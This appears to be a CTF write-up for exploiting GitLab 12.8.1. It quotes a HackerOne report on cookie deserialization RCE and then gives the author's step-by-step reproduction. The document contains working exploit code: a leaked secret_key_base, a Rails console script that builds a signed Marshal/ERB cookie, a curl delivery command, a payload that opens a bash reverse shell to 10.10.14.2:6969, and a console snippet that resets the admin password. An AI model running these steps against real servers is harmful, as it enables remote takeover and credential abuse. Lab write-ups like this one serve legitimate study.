# 4 stable shell

As shell is not stable, doing the process manually

Following [https://hackerone.com/reports/827052](https://hackerone.com/reports/827052)

```
It's possible to turn this into an RCE as the cookies_serializer is set to :hybrid by default.
The can be done by first grabbing the secret_key_base from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml using the arbitrary file read and then use the experimentation_subject_id cookie with a Marshalled payload. A payload can be generated by changing your own gitlab instances secret_key_base to match, then running the following in a rails console

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Then send this cookie to the server:
curl -vvv 'http://gitlab-vm.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIHZha3p6IHdhcyBoZXJlID4gL3RtcC92YWt6emAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpUOglAdmFySSIMQHJlc3VsdAY7ClQ=--ef9c244a1f6b4724c1d3cbf045f8ee28a42d4b06"

And it will be executed:
```

ACTION TIME:

1. GET secrets.yml (done.)
2. set up docker instance and gitlab-ce-12.8.1 running:
   1. install docker (https://www.kali.org/docs/containers/installing-docker-on-kali/)
   2. Search on Dockerhub for Gitlab
   3. docker pull gitlab/gitlab-ce:12.8.1-ce.0
   4. docker run \<IMAGE\_ID>
   5. docker exec -it \<IMAGE\_ID> bash
3. update secrets.yml with the new secret\_key\_base

```
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
```

1. gitlab-ctl restart
2. gitlab-rails console

```
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.2/6969 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
```

1. puts cookies\[:cookie]

```

We need to elevate somehow to be be able to escape docker

Using [https://gist.github.com/dnozay/188f256839d4739ca3e4](https://gist.github.com/dnozay/188f256839d4739ca3e4)

```
gitlab-rails console

Loading production environment (Rails 6.0.2)
user = User.find_by(admin: true)

user.password = 'kashz12345'

user.password_confirmation = 'kashz12345'

user.save

Now we can sign in to Gitlab using dexter:kashz12345
